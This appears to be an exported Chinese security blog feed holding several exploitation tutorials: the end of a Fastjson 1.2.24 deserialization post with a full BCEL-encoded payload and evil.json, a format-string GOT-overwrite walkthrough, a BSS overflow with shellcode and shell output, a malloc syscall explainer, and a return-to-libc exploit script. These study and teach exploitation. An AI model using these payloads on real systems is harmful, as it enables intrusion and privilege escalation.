\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$Q$fe$ce$deZJq$97$C$a2$e0$F$Qq$Xe$eb$V$_$m$8a$Lh$b2h$8c$r$90$V$ff$9c$z$tP$ed$b6$b5$3d$cb$e5Q$7c$C$S$ff$n$J$Q$8d$3e$80$Pe$9c6$h$40$dc$3fg$ce$f9$e6$9b$99o$a6$d3$df$7f$be$ff$Cp$l$af4$f4aT$c1u$N$v$8cv$d01$a6$e2Fl$8b$wJ$g$c6qS$83$8e$5b$w$sb$5bV$60$aa$b8$ad$e2$8e$8a$bb$w$eei$94$e2A$7cL$wx$a8$a1$H$8f$U$3cf$c8$c9$8dP$f05$Gc$f1$p$df$e4$a6$cb$bdus$v$c1$a6$Y$d2v$e3$8c$cb$92$a1$e3$ad$93$x7$edx$8e$9c$nN$b1$b4$cc$90$a9$f8k$82$n$bf$e8x$e2M$b3Q$X$e1$S$af$bb$84$a8$d3$b6$dbbvY$92$db$9f$5e$f3$mq$vxBJ$Y4$cbo$86$b6Xpbv$87$d8t$dcr$5cN$c7$A$G$J$98$T$N$df$8cQ$j$e7$d1$cf0$ec$H$c2$h2g$83$c0ul$$$j$df$8b$cc$Kw$ed$a6$cb$a5$l$96y$Q$e8$b8$80$8b$M$8a$l$95$3d$de$a0$3aS$3a$a6$f1T$c7$M$9e$91$dc$z$c7$d3$f1$i$b3$M$85$b3mQ$Q5$5c$W$db$a4$qe$daT$dd$ac$3b$9eY$e7$d1$G$B$T$b6$82$X$3a$w$98$d31$8f$F$86$9e$93$f8$f9m$5b$E$b1$Y$j$_c$d9$85$b3$c3$q$f6j$bb1$9e$d6$b0$TI$d1$60$e8$5c$X$f2mHm$86r$87a$ac$f8$7fX$a9$5d$a6N$e9$_$fa$5b$o$ac$f0$88$e4$f7$W$db$92T$db$f7$qw$bc$88a$f0t$e2$ca$G$P$z$f1$b9$v$3c$5bL$95$de3t$9f$f8$de5$3d$e94$u$a7F$c2$8e$l$7d$ff$Uh$c1T$nC$d3$a3$c9$V$8bm$da$3d$jA$j$da$o$8a$u$o$l$90S$s$bb$b1$Ur$5b$60$98v$ba$8fv$3e$F$z$fe$e6t$d3$e2O$9a$m$y$5e$L$3a$_$d1$eb2YF6$3b$7e$I$b6G$XF$Q$90K$c04T$5c9$a6$7eE$sA$3f$fc$40$aav$88$f4$3e2Fv$l9C9$82z$80$OC$3b$40$e7$X$M$e4$7eB$af$a5$8d$$$ab$961$ceY$b5$ec7$e4$ac$5d$f4$b7$e0$7c$M$XZp$f5$I$dd$e3$H0Vv$a1V$e9$d2$bbG$V$f2$b0$b0L$3fW$wQ2B$g$40$955d$c9$a3$a1$8a$$$f2w$T$p$8f$V$U$b0J$cc$ab$c4$d0$91$99$b4$U$MU$V$M$c7$3aG$92V$af$fd$F$N$5c$a2N$fb$D$A$A\"\n" +// "\t\t}\n"; StringBuffer Buffer = new StringBuffer(); FastJsonPwn.readToBuffer(Buffer,"/Users/m0rk/Desktop/tmp/untitled/src/FastJsonDemo/evil.json"); Object obj= JSON.parseObject(Buffer.toString()); evil.json 12345678{ "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource", "driverClassLoader" : { "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$Q$fe$ce$deZJq$97$C$a2$e0$F$Qq$Xe$eb$V$_$m$8a$Lh$b2h$8c$r$90$V$ff$9c$z$tP$ed$b6$b5$3d$cb$e5Q$7c$C$S$ff$n$J$Q$8d$3e$80$Pe$9c6$h$40$dc$3fg$ce$f9$e6$9b$99o$a6$d3$df$7f$be$ff$Cp$l$af4$f4aT$c1u$N$v$8cv$d01$a6$e2Fl$8b$wJ$g$c6qS$83$8e$5b$w$sb$5bV$60$aa$b8$ad$e2$8e$8a$bb$w$eei$94$e2A$7cL$wx$a8$a1$H$8f$U$3cf$c8$c9$8dP$f05$Gc$f1$p$df$e4$a6$cb$bdus$v$c1$a6$Y$d2v$e3$8c$cb$92$a1$e3$ad$93$x7$edx$8e$9c$nN$b1$b4$cc$90$a9$f8k$82$n$bf$e8x$e2M$b3Q$X$e1$S$af$bb$84$a8$d3$b6$dbbvY$92$db$9f$5e$f3$mq$vxBJ$Y4$cbo$86$b6Xpbv$87$d8t$dcr$5cN$c7$A$G$J$98$T$N$df$8cQ$j$e7$d1$cf0$ec$H$c2$h2g$83$c0ul$$$j$df$8b$cc$Kw$ed$a6$cb$a5$l$96y$Q$e8$b8$80$8b$M$8a$l$95$3d$de$a0$3aS$3a$a6$f1T$c7$M$9e$91$dc$z$c7$d3$f1$i$b3$M$85$b3mQ$Q5$5c$W$db$a4$qe$daT$dd$ac$3b$9eY$e7$d1$G$B$T$b6$82$X$3a$w$98$d31$8f$F$86$9e$93$f8$f9m$5b$E$b1$Y$j$_c$d9$85$b3$c3$q$f6j$bb1$9e$d6$b0$TI$d1$60$e8$5c$X$f2mHm$86r$87a$ac$f8$7fX$a9$5d$a6N$e9$_$fa$5b$o$ac$f0$88$e4$f7$W$db$92T$db$f7$qw$bc$88a$f0t$e2$ca$G$P$z$f1$b9$v$3c$5bL$95$de3t$9f$f8$de5$3d$e94$u$a7F$c2$8e$l$7d$ff$Uh$c1T$nC$d3$a3$c9$V$8bm$da$3d$jA$j$da$o$8a$u$o$l$90S$s$bb$b1$Ur$5b$60$98v$ba$8fv$3e$F$z$fe$e6t$d3$e2O$9a$m$y$5e$L$3a$_$d1$eb2YF6$3b$7e$I$b6G$XF$Q$90K$c04T$5c9$a6$7eE$sA$3f$fc$40$aav$88$f4$3e2Fv$l9C9$82z$80$OC$3b$40$e7$X$M$e4$7eB$af$a5$8d$$$ab$961$ceY$b5$ec7$e4$ac$5d$f4$b7$e0$7c$M$XZp$f5$I$dd$e3$H0Vv$a1V$e9$d2$bbG$V$f2$b0$b0L$3fW$wQ2B$g$40$955d$c9$a3$a1$8a$$$f2w$T$p$8f$V$U$b0J$cc$ab$c4$d0$91$99$b4$U$MU$V$M$c7$3aG$92V$af$fd$F$N$5c$a2N$fb$D$A$A"} 其它可能用到的代码已经放到github about patch 笔者进行漏洞测试的版本是1.2.24,在17年12月11号,fastjson维护者更新了一段代码github 作者将原来的denyList改为denyHashCodes的方式进行黑名单拦截(最新版本依然采用这种方式),其中denyHashCode的计算方式略微复杂,增加了攻击门槛。other 较Template攻击方式此攻击方式不需要设置Feature.SupportNonPublicField,但是需要外部的jar包(因为这个jar包和JDBC数据库连接相关,可能很多项目应该都使用了,所以影响也还是很大)。 利用 defineClass 在运行时状态下,将我们精心构造的 class 文件加载进入 ClassLoader,通过java 的 static{}特征,导致代码执行。 此payload较之前的有个好处就是不需要受害者开启Feature.SupportNonPublicField这个‘特性‘。 根据作者之前通过的denylist其实就可以知道这个漏洞的利用方式很多种,和python类似,java很多漏洞都还是绕denyList的问题。reference DefineClass在Java反序列化当中的利用 Evading Anti-Virus by using dynamic code generation and reflection]]></content>
<tags>
<tag>java安全 RCE</tag>
</tags>
</entry>
<entry>
<title><![CDATA[格式化字符串漏洞]]></title>
<url>%2F2018%2F04%2F07%2F%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%2F</url>
<content type="text"><![CDATA[TL;DR 不同于buffer overflow,格式化字符串漏洞是另外一种漏洞类型,ctf的pwn中经常会遇到,这两天学习了一下,仅当笔记留以备忘。 在了解格式化字符串漏洞之前还是应该先了解一下printf函数的基本功能。 可以使用命令 man 3 printf 查看printf函数的功能介绍,其中printf是c语言中为数不多的支持可变参数的库函数。根据cdecl的函数调用规定,函数从最右边的参数开始,逐个压栈。如果要传入的是一个字符串,那么就将字符串的指针压栈。这一切都井井有条的进行着。如果是一般的函数,函数的调用者和被调用者都应该知道函数的参数个数以及每个参数的类型。但是对于像printf这种可变参数的函数来说,一切就变得模糊了起来。函数的调用者可以自由的指定函数参数的数量和类型,被调用者无法知道在函数调用之前到底有多少参数被压入栈帧当中。所以printf函数要求传入一个format参数用以指定到底有多少,怎么样的参数被传入其中。然后它就会忠实的按照函数调用者传入的格式一个一个的打印出数据。 测试环境ubuntuX86任意内存读取 如下是函数printf format的参数、输入类型以及输出类型 1234567| Parameter | Input Type | Output Type || - - - - - -| - - - - - - | - - - - - - - - - - - - - - - || %d | Value | Decimal || %u | Value | Unsigned decimal || %x | Value | Hexadecimal || %s | Pointer | String || %n | Pointer | Number of bytes written so far | 试想有这样一种情况,我们要求printf打印的数据数量大于我们所给的数量会怎样?printf函数不可能知道栈帧中哪一些数据是它传入的参数,哪些是属于函数调用者的数据。 vuln code1234567891011121314151617181920212223242526272829#fmt_vuln.c#include <stdio.h>#include <stdlib.h>#include <string.h>int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; if(argc < 2) { printf("Usage: %s <text to print>\n", argv[0]); exit(0); } strcpy(text, argv[1]); printf("The right way to print user-controlled input:\n"); printf("%s", text); printf("\nThe wrong way to print user-controlled input:\n"); printf(text); printf("\n"); // Debug output printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val); exit(0);} 1234编译指令:gcc -g fmt_vuln.c -o fmt_vulnsudo chown root fmt_vulnsudo chmod u+s fmt_vuln 当我们输入 AAAA%08x.%08x.%08x.%08x可以看到我们读取到了保存于栈中的数据(输入的AAAA),当然如果输入的%08x更多还会读取到栈中更多的数据 如果写入的AAAA是一个敏感的地址呢,比如指向敏感字符串的地址。任意内存写入 任意内存写入需要用到%n这个不常用的参数,它的功能是将%n之前printf已经打印的字符个数赋值给传入的指针,通过%n我们就可以修改内存中的值了。还是原来的漏洞代码。 此外还需要$的配合,如下的代码 1printf("7th: %7$d, 4th: %4$05d\n", 10, 20, 30, 40, 50, 60, 70, 80); 会打印输出 17th: 70, 4th: 00040 即%7$d 获取的将是参数列表中第7个元素的值,%4$05d 获取的是第四个参数的值,且有效位长度是5 使用short writes,一个四字节的值可以使用两个%hn去完成覆盖。 例如下面的输入 $(printf “\x30\xa0\x04\x08\x32\xa0\x04\x08”)%43699x%4\$hn%8738x%5\$hn 会将test_val地址的值修改为0xccddaabb1234567891011121314151617181920xxx@ubuntu:~/Desktop/pwntest/formatstringexp$ gdb -q gdb-peda$ p/h 0xaabb - 8Size letters are meaningless in "print" command.gdb-peda$ p/d 0xaabb - 8$1 = 43699gdb-peda$ p/d 0xccdd - 0xaabb$2 = 8738gdb-peda$ quitxxx@ubuntu:~/Desktop/pwntest/formatstringexp$ ./fmt_vuln 123The right way to print user-controlled input:123The wrong way to print user-controlled input:123[*] test_val @ 0x0804a030 = -72 0xffffffb8xxx@ubuntu:~/Desktop/pwntest/formatstringexp$ ./fmt_vuln $(printf "\x30\xa0\x04\x08\x32\xa0\x04\x08")%43699x%4\$hn%8738x%5\$hnThe right way to print user-controlled input:0�2�%43699x%4$hn%8738x%5$hnThe wrong way to print user-controlled input:0�2� ...[*] test_val @ 0x0804a030 = -857888069 0xccddaabb 覆盖GOT表 可能会有人问能不能通过这种漏洞来getshell呢,答案是可以的,且方法不止一种,下面介绍一种相对来说简单且常用的方法,通过覆盖GOT表方法来getshell的trick,总体的思路就是程序最后要执行exit函数,我们覆盖exit函数的地址为shellcode的地址来达到getshell的目的。 我们知道一个程序可以使用共享库,那么它必然有一个存放了各个函数对应的地址的表,这个表就是PLT(procedure linkage table)。 使用objdump 查看plt section 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647xxx@ubuntu:~/Desktop/pwntest/formatstringexp$ objdump -d -j .plt ./fmt_vuln./fmt_vuln: file format elf32-i386Disassembly of section .plt:08048360 <printf@plt-0x10>: 8048360: ff 35 04 a0 04 08 pushl 0x804a004 8048366: ff 25 08 a0 04 08 jmp *0x804a008 804836c: 00 00 add %al,(%eax) ...08048370 <printf@plt>: 8048370: ff 25 0c a0 04 08 jmp *0x804a00c 8048376: 68 00 00 00 00 push $0x0 804837b: e9 e0 ff ff ff jmp 8048360 <_init+0x2c>08048380 <strcpy@plt>: 8048380: ff 25 10 a0 04 08 jmp *0x804a010 8048386: 68 08 00 00 00 push $0x8 804838b: e9 d0 ff ff ff jmp 8048360 <_init+0x2c>08048390 <puts@plt>: 8048390: ff 25 14 a0 04 08 jmp *0x804a014 8048396: 68 10 00 00 00 push $0x10 804839b: e9 c0 ff ff ff jmp 8048360 <_init+0x2c>080483a0 <__gmon_start__@plt>: 80483a0: ff 25 18 a0 04 08 jmp *0x804a018 80483a6: 68 18 00 00 00 push $0x18 80483ab: e9 b0 ff ff ff jmp 8048360 <_init+0x2c>080483b0 <exit@plt>: 80483b0: ff 25 1c a0 04 08 jmp *0x804a01c 80483b6: 68 20 00 00 00 push $0x20 80483bb: e9 a0 ff ff ff jmp 8048360 <_init+0x2c>080483c0 <__libc_start_main@plt>: 80483c0: ff 25 20 a0 04 08 jmp *0x804a020 80483c6: 68 28 00 00 00 push $0x28 80483cb: e9 90 ff ff ff jmp 8048360 <_init+0x2c>080483d0 <putchar@plt>: 80483d0: ff 25 24 a0 04 08 jmp *0x804a024 80483d6: 68 30 00 00 00 push $0x30 80483db: e9 80 ff ff ff jmp 8048360 <_init+0x2c> 如上所示可以看到exit函数的相关跳转,但是这个plt section是READONLY即只读不可修改的 123xxx@ubuntu:~/Desktop/pwntest/formatstringexp$ objdump -h ./fmt_vuln | grep -A1 "\ .plt\ " 11 .plt 00000080 08048360 08048360 00000360 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 但如果仔细看的话,可以知道jmp *0x804a01c 中的jmp地址并不是一个直接的地址,而是一个指针指向的地址,即exit函数的地址是存放在地址0x804a01c处的。 这些个地址是存在放另外的section的,叫做global offset table(GOT),它是可写的。然后通过objdump可以获取的到。 如上说明exit函数是在0x0804a01c这个地址上的。 1./fmt_vuln $(printf "\x1e\xa0\x04\x08\x1c\xa0\x04\x08")%49143x%4\$hn%12981x%5\$hn 这次我们还是将shellcode放入到环境变量中,然后将exit函数的地址指向shellcode所存放的环境变量(这种一般是用在提权操作上,普通用户运行了setuid的程序) 如上,当程序调用exit函数的时候,通过PLT跳转并在GOT表中获取到了调用的地址,由于这个地址已经被修改为shellcode的入口地址,所以我们就获取到了root权限的shell。 可以写任意地址其实就提供了很多种可能性,只要是可写的内存且包含了程序执行流的都可以是写入的目标。其它 这里就主要过程做了说明,想要真正理解还需要自己动手去实践。github repoReference 《Hacking the art of exploitation》0x352 漏洞挖掘基础之格式化字符串http://drops.xmd5.com/static/drops/papers-9426.html 格式化字符串漏洞简介http://drops.xmd5.com/static/drops/binary-7714.html]]></content>
<tags>
<tag>reverse</tag>
<tag>linux</tag>
</tags>
</entry>
<entry>
<title><![CDATA[BSS段的溢出攻击]]></title>
<url>%2F2018%2F03%2F22%2FBSS%E6%AE%B5%E7%9A%84%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB%2F</url>
<content type="text"><![CDATA[12原文已发布至seebughttps://paper.seebug.org/548/ TL;DR 缓冲区溢出除了典型的栈溢出和堆溢出外,还有一种发生在bss段上的,bss属于数据段的一种,通常用来保存未初始化的全局静态变量。wiki 测试环境ubuntu14.04X86.vul code snippet from game_of_chance.c 1234567891011// Custom user struct to store information about users struct user { int uid; int credits; int highscore; char name[100]; int (*current_game) ();};...struct user player; // Player struct 其中game_of_chance 是如下图的一个小游戏 如上的代码片段中用一个函数指针保存了上次玩了哪个游戏,这个指针保存在user的结构体中,且被声明为全局变量,这意味着user这个结构体变量保存在bss数据段。其中结构体中固定为100字节的name变量保存了用户的姓名,且这个name是可以被input_name()这个函数所控制的,如下: 12345678910111213void input_name() { char *name_ptr, input_char='\n'; while(input_char == '\n') // Flush any leftover scanf("%c", &input_char); // newline chars. name_ptr = (char *) &(player.name); // name_ptr = player name's address while(input_char != '\n') { // Loop until newline. *name_ptr = input_char; // Put the input char into name field. scanf("%c", &input_char); // Get the next char. name_ptr++; // Increment the name pointer. } *name_ptr = 0; // Terminate the string.} 这个函数会接收用户输入的名字直到遇到换行符,所以这里并没有有效的限制用户输入,就意味着有可能被利用,此外我们覆盖之后还需要程序去调用这个函数指针,这个功能可以发生在下面代码的6、8或者10行以及play_the_game()函数中,代码片段如下: 1234567891011121314if((choice < 1) || (choice > 7)) printf("\n[!!] The number %d is an invalid selection.\n\n", choice); else if (choice < 4) { // Othewise, choice was a game of some sort. if(choice != last_game) { // If the function ptr isn't set if(choice == 1) // then point it at the selected game player.current_game = pick_a_number; else if(choice == 2) player.current_game = dealer_no_match; else player.current_game = find_the_ace; last_game = choice; // and set last_game. } play_the_game(); // Play the game. } 漏洞利用 如果last_game 未设置,函数指针current_game 会被指向成0或者-1,这时不会触发漏洞,后面last_game被设置成1,当修改完名字完成对current_game覆盖再玩游戏1的时候,进入play_the_game()函数,play_the_game()会有current_game指针变量的调用,此时漏洞即触发! 我们可以通过ctrl+z挂起当前的进程(这个时候last_game变量被设置成了1(因为刚才玩的是游戏choice是1)),我们找到可以被溢出的变量name,然后通过简单调试看一下name和current_game指针在内存中的位置关系。 如上图所示,正好是100个字节,通过以上我们可以进行如下的覆盖尝试12xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "A"x100 . "BBBB" . "\n"'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 可以看到程序崩溃之前curren_game已被成功覆盖为BBBB,这个时候我们需要一个”有效的”地址去做我们想要做的事情。 nm命令可以查看程序的符号表,来看一下程序有哪些函数以及其对应的内存地址(此思路常用于破解)。 jackpot函数是我们理想的目标,这个函数用来给我们增加”金币”,所以当current_game函数指针被覆盖成这个函数的时候,我们就可以拥有无数”金币” 这个程序通过标准输入进行用户交互,我们完全可以使用脚本实现自动化,如下的例子将会自动选择游戏1,然后猜测数字7,当被问是否还玩的时候选择no,最后通过选择7退出程序。 1perl -e 'print "1\n7\nn\n7\n"' | ./game_of_chance 同样的技巧可以用到自动化exploit中,下面的命令会完成修改用户名为100个A加jackpot()的地址,这个时候就覆盖掉了current_game的地址,然后当再次选择我们要玩的游戏的后,jackpot()函数就会被调用。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\xa5\x8c\x04\x08\n" . "1\nn\n" . "7\n"' | ./game_of_chance -=[ Game of Chance Menu ]=-1 - Play the Pick a Number game2 - Play the No Match Dealer game3 - Play the Find the Ace game4 - View current high score5 - Change your user name6 - Reset your account at 100 credits7 - Quit[Name: M0rk][You have 90 credits] -> [DEBUG] current_game pointer @ 0x08048f15####### Pick a Number ######This game costs 10 credits to play. Simply pick a numberbetween 1 and 20, and if you pick the winning number, youwill win the jackpot of 100 credits!10 credits have been deducted from your account.Pick a number between 1 and 20: The winning number is 11Sorry, you didn't win.You now have 80 creditsWould you like to play again? (y/n) -=[ Game of Chance Menu ]=-1 - Play the Pick a Number game2 - Play the No Match Dealer game3 - Play the Find the Ace game4 - View current high score5 - Change your user name6 - Reset your account at 100 credits7 - Quit[Name: M0rk][You have 80 credits] -> Change user nameEnter your new name: Your name has been changed.-=[ Game of Chance Menu ]=-1 - Play the Pick a Number game2 - Play the No Match Dealer game3 - Play the Find the Ace game4 - View current high score5 - Change your user name6 - Reset your account at 100 credits7 - Quit[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��][You have 80 credits] -> [DEBUG] current_game pointer @ 0x08048ca5*+*+*+*+*+* JACKPOT *+*+*+*+*+*You have won the jackpot of 100 credits!You now have 180 creditsWould you like to play again? (y/n) -=[ Game of Chance Menu ]=-1 - Play the Pick a Number game2 - Play the No Match Dealer game3 - Play the Find the Ace game4 - View current high score5 - Change your user name6 - Reset your account at 100 credits7 - Quit[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��][You have 180 credits] -> Thanks for playing! Bye.xxx@ubuntu:~/Desktop/pwntest/bssexploit$ 可以看到函数被调用我们增加了100金币 因为只要有调用函数指针的操作就会触发jackpot函数,只要我们不退出,就可以无限刷金币,像是如下:1perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\xa5\x8c\x04\x08\n" . "1\n" ."y\n"x10. "n\n5\nM0rk\n7\n"' | ./game_of_chance 到这里可能有人会问那能不能getshell呢,答案是可以的,我们知道每个运行的程序都会加载环境变量,我们可以事先将shellcode写入到环境变量中,然后将跳转地址指向shellcode,就可以执行我们的shellcode了。getenvaddr用来获取SHELLCODE环境变量在程序运行时候所在的地址。12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455xxx@ubuntu:~/Desktop/pwntest/bssexploit$ echo $SHELLCODE��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��̀j XQh//shh/bin��Q��S��̀xxx@ubuntu:~/Desktop/pwntest/bssexploit$ ./getenvaddr SHELLCODE ./game_of_chanceSHELLCODE will be at 0xbffff206xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "1\n7\nn\n5\n" . "A"x100 . "\x06\xf2\xff\xbf\n" . "1\n"' > exploit_buffxxx@ubuntu:~/Desktop/pwntest/bssexploit$ cat exploit_buff - | ./game_of_chance -=[ Game of Chance Menu ]=-1 - Play the Pick a Number game2 - Play the No Match Dealer game3 - Play the Find the Ace game4 - View current high score5 - Change your user name6 - Reset your account at 100 credits7 - Quit[Name: M0rk][You have 1260 credits] -> [DEBUG] current_game pointer @ 0x08048f15####### Pick a Number ######This game costs 10 credits to play. Simply pick a numberbetween 1 and 20, and if you pick the winning number, youwill win the jackpot of 100 credits!10 credits have been deducted from your account.Pick a number between 1 and 20: The winning number is 6Sorry, you didn't win.You now have 1250 creditsWould you like to play again? (y/n) -=[ Game of Chance Menu ]=-1 - Play the Pick a Number game2 - Play the No Match Dealer game3 - Play the Find the Ace game4 - View current high score5 - Change your user name6 - Reset your account at 100 credits7 - Quit[Name: M0rk][You have 1250 credits] -> Change user nameEnter your new name: Your name has been changed.-=[ Game of Chance Menu ]=-1 - Play the Pick a Number game2 - Play the No Match Dealer game3 - Play the Find the Ace game4 - View current high score5 - Change your user name6 - Reset your account at 100 credits7 - Quit[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���][You have 1250 credits] -> [DEBUG] current_game pointer @ 0xbffff206iduid=1000(xxx) gid=1000(xxx) groups=1000(xxx),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare) 相关源码下载github repo reference 《Hacking the art of exploitation》0x342]]></content>
</entry>
<entry>
<title><![CDATA[malloc的系统调用]]></title>
<url>%2F2018%2F03%2F18%2Fmalloc%E7%9A%84%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%2F</url>
<content type="text"><![CDATA[TL;DR 在读这篇文章的时候你应该知道c语言的malloc是使用系统调用从操作系统申请内存的,这两个系统调用分别是brk和mmap。/prco/$pid/maps文件 先来简单看下这个文件,这个文件会显示整个进程的地址空间分布情况。brk brk从内核获取内存是通过增加程序中断地址方式的,开始于start_brk,结束于brk,初始的时候两者都指向的是同一个位置。 当ASLR关闭的时候,start_brk和brk都是指向bss段的尾部的 当ASLR开启的时候,start_brk和brk初始位置是bss段的尾部加一个随机的偏移。nice pic,a ha :D 如上图虚拟内存地址空间分布图所示,start_brk即是堆空间的开始,brk即是堆空间的结束。 !注意,后面的测试均是关闭ASLR后测试输出,此外测试系统使用的是ubuntu14.04.1X64操作系统。 12关闭ASLR的方法#echo 0 > /proc/sys/kernel/randomize_va_space 示例代码 12345678910111213141516171819202122232425262728293031/* sbrk and brk example */#include <stdio.h>#include <unistd.h>#include <sys/types.h>int main(){ void *curr_brk, *tmp_brk = NULL; printf("Welcome to sbrk example:%d\n", getpid()); /* sbrk(0) gives current program break location */ tmp_brk = curr_brk = sbrk(0); printf("Program Break Location1:%p\n", curr_brk); getchar(); /* brk(addr) increments/decrements program break location */ brk(curr_brk+4096); curr_brk = sbrk(0); printf("Program break Location2:%p\n", curr_brk); getchar(); brk(tmp_brk); curr_brk = sbrk(0); printf("Program Break Location3:%p\n", curr_brk); getchar(); return 0;} 输出分析: 在brk之前,我们可以看到进程中是没有堆块的,因此 start_brk=brk=end_data=0x602000 当程序执行brk调用的时候,如下的输出,我们看到有了堆块,因此 start_brk=end_data=0x602000,此时 start_brk=end_data=0x602000 brk = 0x603000 解释一下新增加的一行:这里602000-603000就是动态分配的地址空间,对应的操作权限标志是rw-p即可读可写不可执行,私有的 000000的文件偏移是因为没有映射任何的文件,00:00 是主要/次要的设备数-由于没有映射任何文件,所以这里也是0,最后的0是inode number,还是由于没有映射任何的文件,所以这里也还是0.mmap malloc使用mmap来创建一个私有的匿名映射块,私有的匿名映射块主要的目的就是分配新的内存。 123456789101112131415161718192021222324252627282930313233343536/* Private anonymous mapping example using mmap syscall */#include <stdio.h>#include <sys/mman.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <unistd.h>#include <stdlib.h>void static inline errExit(const char* msg){ printf("%s failed. Exiting the process\n", msg); exit(-1);}int main(){ int ret = -1; printf("Welcome to private anonymous mapping example::PID:%d\n", getpid()); printf("Before mmap\n"); getchar(); char* addr = NULL; addr = mmap(NULL, (size_t)132*1024, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) errExit("mmap"); printf("After mmap\n"); getchar(); /* Unmap mapped region. */ ret = munmap(addr, (size_t)132*1024); if(ret == -1) errExit("munmap"); printf("After munmap\n"); getchar(); return 0;} 输出分析: 在使用mmap之前:我们注意下面的一个内存地址段 当我们通过mmap申请了132KB的空间的时候,看到如下图b7df0000-b7e12000 其中这段虚拟内存地址就包含了我们刚刚申请到132KB大小的地址空间 其中b7df0000-b7e12000 是这个块的地址范围,对应的操作权限标志是rw-p即可读可写不可执行,私有的 000000的文件偏移是因为没有映射任何的文件,00:00 是主要/次要的设备数-由于没有映射任何文件,所以这里也是0,最后的0是inode number,还是由于没有映射任何的文件,所以这里也还是0. 当munmap之后,下面的输出我们可以看的到申请的内存被释放(变成原来的b7e11000-b7e12000),又交还给了操作系统。其它 在64位上brk和32的结果是相同的,但是mmap的会有不同,原因暂时不明。reference Syscalls used by malloc.]]></content>
</entry>
<entry>
<title><![CDATA[通过return-to-libc绕过NX-bit]]></title>
<url>%2F2018%2F02%2F26%2F%E9%80%9A%E8%BF%87return-to-libc%E7%BB%95%E8%BF%87NX-bit%2F</url>
<content type="text"><![CDATA[前言 读此文章之前建议先读一下这篇文章linux栈溢出学习笔记 本次的测试环境是ubuntu14.04(X86). 为了缓解攻击者的行为,专家们想出了一项缓解缓冲区溢出漏洞利用的措施叫做“NX Bit”. 什么是NX(No-eXecute) Bit,wiki,它是一项让某个特定区域的内存代码变得不可执行不可修改的技术,例如,数据区域、栈空间和堆空间是不可执行的,代码区是不可写入的。当NX bit开启的时候,我们之前的缓冲区溢出利用将会失败,因为我们之前的shellcode会被复制到栈中然后我们的返回地址会被指向我们的shellcode从而执行我们的shellcode,但是自从栈中的代码不可以执行之后,我们的exploit会失败,但是这种缓解措施并不是一劳永逸的,这篇文章就将介绍如何绕过NX Bit!漏洞代码1234567891011 //vuln.c#include <stdio.h>#include <string.h>int main(int argc, char* argv[]) { char buf[256]; /* [1] */ strcpy(buf,argv[1]); /* [2] */ printf("%s\n",buf); /* [3] */ fflush(stdout); /* [4] */ return 0;} 编译指令12345#echo 0 > /proc/sys/kernel/randomize_va_space$gcc -g -fno-stack-protector -o vuln vuln.c$sudo chown root vuln$sudo chgrp root vuln$sudo chmod +s vuln 需要注意的是 当参数-z execstack 没有传入(默认没有)的时候,我们的NX bit是没有开起来的我们可以通过readelf -l 命令来查看一下 可以看到栈空间只有RW的标志而没有E的标志。如何绕过 攻击者可以使用“return-to-libc”的技巧来绕过NX bit,这里返回地址被一个特定的libc的函数地址所覆盖(而不是包含shellcode的栈空间地址),例如如果攻击者想要去得到一个shell,他可以使用system()函数的地址去覆盖返回函数的地址,同时在栈中设置system需要的合适参数来供其成功的调用。 漏洞利用代码如下 12345678910111213141516171819202122232425262728#!/usr/bin/env pythonimport structfrom subprocess import call#Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it. #For example system address = libc base address + system offset#where #libc base address = 0xb7e22000 (Constant address, it can also be obtained from cat /proc//maps) #system offset = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system")system = 0xb7e52310 #0xb7e2000+0x0003f060exit = 0xb7e45260 #0xb7e2000+0x00032be0#system_arg points to 'sh' substring of 'fflush' string. #To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c. #But incase there is0xb754b260 no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!!system_arg = 0xb7ffee11 #(obtained from hexdump output of the binary)#endianess conversiondef conv(num): return struct.pack("<I",num)buf = "A" * 268buf += conv(system)buf += conv(exit)buf += conv(system_arg)print "Calling vulnerable program"call(["./vuln", buf]) 关于system和exit以及sh的查找可以使用如下的方法 最后执行上面的利用代码可以得到我们想要的shell,如下图 